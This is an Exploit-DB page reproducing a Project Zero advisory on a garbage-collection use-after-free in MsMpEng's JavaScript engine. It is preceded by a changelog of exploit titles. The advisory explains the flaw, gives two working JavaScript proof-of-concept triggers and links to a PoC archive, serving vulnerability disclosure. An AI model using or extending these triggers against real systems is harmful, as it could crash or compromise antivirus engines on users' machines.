
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
71 lines
No EOL
4.5 KiB
Text
71 lines
No EOL
4.5 KiB
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258
|
||
|
||
MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.
|
||
|
||
During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.
|
||
|
||
MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.
|
||
|
||
The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.
|
||
|
||
The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.
|
||
|
||
The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:
|
||
|
||
JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
|
||
|
||
JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
|
||
// nothing (apart from maybe JSBench?) is rooting this_str as long as we
|
||
// don't keep any references to it in script
|
||
// the native code needs to prevent GC to keep it alive while it needs it
|
||
|
||
int len = JsString::numBytes(this_str); // okay because this can't cause GC
|
||
|
||
int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );
|
||
|
||
// this calls valueOf() on the first argument
|
||
// toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()
|
||
|
||
// It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
|
||
// however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
|
||
// which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
|
||
// the native stack isn't scanned and no script objects reference it.)
|
||
|
||
// the code continues and does something like this:
|
||
JsString::initBySub(jsState, this_str ...
|
||
|
||
// that ends up calling a virtual method on the free’d this_str
|
||
|
||
|
||
PoC script:
|
||
|
||
function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);
|
||
|
||
PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"
|
||
|
||
################################################################################
|
||
|
||
Here's a clearer PoC not all on one line for the mpengine shell :)
|
||
|
||
//*************************
|
||
function gc() {
|
||
eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
|
||
};
|
||
|
||
var x = Object();
|
||
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
|
||
// if we do want to return a string object it has to have more than three characters so it doesn't use the
|
||
// inline string optimization
|
||
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};
|
||
|
||
var l = Object();
|
||
l.valueOf = function() {gc(); return 1;};
|
||
|
||
String.prototype.slice.call(x, l);
|
||
//************************
|
||
|
||
################################################################################
|
||
|
||
|
||
Proof of Concept:
|
||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42088.zip |